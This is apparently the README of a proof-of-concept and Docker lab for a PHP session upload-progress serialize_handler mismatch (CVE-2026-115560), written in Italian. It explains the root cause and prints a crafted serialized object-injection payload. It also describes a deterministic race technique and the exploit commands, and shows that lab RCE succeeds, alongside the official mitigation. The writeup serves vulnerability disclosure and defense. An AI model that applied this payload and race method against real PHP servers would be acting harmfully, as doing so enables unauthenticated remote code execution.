Proof-of-concept e laboratorio Docker per CVE-2026-115560: mancata corrispondenza di serialize_handler nel caricamento con avanzamento della sessione PHP non autenticata che porta a object injection e RCE.
Proof-of-concept per la vulnerabilità PHP non corretta divulgata nell' avviso informativo di php.net del 2026-10-23, due giorni dopo il rilascio d'emergenza PHP2Shell (CVE-2026-109618 / -109619).
session.upload_progress.enabled=0php:8.4.27-apache (mod_php) — ovvero una build completamente
corretta per PHP2Shell è ancora vulnerabile a questo problemaTutte e tre devono essere soddisfatte (php.net, 2026-10-23):
session.serialize_handler = php_binary o php_serialize nella configurazione del serverphp a runtime tramite
ini_set() prima di session_start()session.upload_progress.enabled = 1 (default di PHP)PHP-8.4Il progresso di caricamento della sessione (ext/session, la callback rfc1867) viene eseguito pre-RINIT, prima di qualsiasi codice dell'applicazione:
| fase | sorgente | cosa accade |
|---|---|---|
| scrittura | php_session_rfc1867_callback → MULTIPART_EVENT_FILE_START → php_rinit_session(0) | PS(serializer) viene risolto dall'ini del server (php_serialize) |
| scrittura | php_session_rfc1867_update() → php_session_flush(1) | il file di sessione viene scritto immediatamente, nel formato php_serialize, contenente upload_progress_<value> come chiave di array grezza e non sanificata — il valore del campo PHP_SESSION_UPLOAD_PROGRESS dell'attaccante. ` |
| lettura | applicazione: ini_set('session.serialize_handler','php') → OnUpdateSerializer | ri-punta PS(serializer) — consentito mentre la sessione non è attiva |
| lettura | session_start() → PS_SERIALIZER_DECODE_FUNC(php) | l'handler php decodifica le coppie key|serialized e divide al **primo ` |
| pop | PHP_VAR_UNSERIALIZE_DESTROY(var_hash) | viene eseguito sia sul percorso SUCCESS sia su quello FAILURE, quindi il __destruct del gadget scatta anche se la decodifica complessiva restituisce FAILURE (spazzatura di sessione in coda al payload) |
File di sessione risultante (catturato a metà caricamento dal lab, docker exec):
a:1:{s:56:"upload_progress_|O:9:"LabGadget":1:{s:3:"cmd";s:2:"id";}";a:5:{s:10:"start_time";i:1792774742;…}}
^
the "php" handler splits here; everything after it is unserialize()d
Con il valore predefinito session.upload_progress.cleanup=1, MULTIPART_EVENT_END
elimina la chiave di progresso al termine dell'upload — e ogni percorso di
uscita del parsing raggiunge fileupload_done: in main/rfc1867.c, quindi un abort del client non
aiuta. Il payload risiede pertanto nel file di sessione solo mentre l'upload
è in corso. Due fatti rendono la race deterministica nella pratica:
flock(LOCK_EX) solo attorno a ogni breve
ciclo initialize→flush (php_session_flush(1) chiama s_close), quindi
i lettori concorrenti non vengono bloccati per la durata dell'upload;post_max_size limita la dimensione, non la
durata), mantenendo la finestra aperta per minuti se lo si desidera.In laboratorio: un upload di 2–4 MiB a 16 KiB/0,1–0,15 s offre una finestra di 13–38 s; il consumer vince dopo ~3 s a ogni esecuzione.
L'handler rfc1867 MULTIPART_EVENT_FORMDATA accetta PHPSESSID dal
body della POST senza consultare session.use_only_cookies, quindi il producer
non necessita di alcun cookie. (La richiesta del consumer passa attraverso il normale session_start(),
che richiede invece il cookie con il valore predefinito use_only_cookies=1.)
lab/
├── Dockerfile php:8.4.27-apache + writable /var/www/html/p (proof drop dir)
├── docker-compose.yml
├── conf/99-vuln.ini php_serialize + upload_progress ON (PHP defaults restated)
├── conf/99-mitigated.ini same + session.upload_progress.enabled=0 (official mitigation)
└── src/
├── index.php vulnerable app: ini_set switch to "php" + session_start() + LabGadget
├── noswitch.php control endpoint: no switch → same handler read/write → harmless
└── info.php JSON dump of the relevant global ini values
LabGadget (una classe il cui __destruct esegue shell_exec($this->cmd)) sostituisce
qualsiasi classe gadget reale raggiungibile al tempo unserialize(); contro un'applicazione
reale il gadget proviene dal suo albero delle dipendenze (Monolog/Guzzle/…).
$ ./lab.sh up # vuln :8094, mitigated :8097 (builds image, waits for health)
$ python3 poc.py check --target http://127.0.0.1:8094
$ python3 poc.py exploit --target http://127.0.0.1:8094 --cmd "id"
$ ./lab.sh teardown # containers + volumes + image removed
| target | atteso | risultato |
|---|---|---|
:8094/index.php (vulnerabile) | RCE | ✅ uid=33(www-data)… in 3,3 s (1108 letture) — riprodotto, di nuovo 3,3 s (1724 letture) |
:8097/index.php (mitigazione upload_progress.enabled=0) | nessun RCE | ✅ nessun risultato (89459 letture) |
:8094/noswitch.php (nessun interruttore runtime) | nessun RCE | ✅ nessun risultato (82912 letture) |
Firma lato server sul target vulnerabile mentre il consumer vince:
PHP Warning: session_start(): Failed to decode session object. Session has been destroyed in …/index.php on line 21
— la decodifica fallisce, ma l'oggetto iniettato __destruct è già stato eseguito.
ini_set nel runtime è insolita),
motivo per cui PHP la corregge nel ciclo regolare — ma la combinazione
di funzionalità è attiva per impostazione predefinita sul lato scrittura.session.upload_progress.enabled = 0 ; php.ini / FPM pool / server config — NOT ini_set()
poi riavviare tutti i worker PHP. Efficacia verificata dal controllo :8097 sopra.
PHP-8.4: ext/session/session.c (callback rfc1867, funzione di decodifica php, OnUpdateSerializer), main/rfc1867.c (fileupload_done)python3 exploit/exploit.py esegue la catena completa (exit 1 sfruttato, 0 sicuro).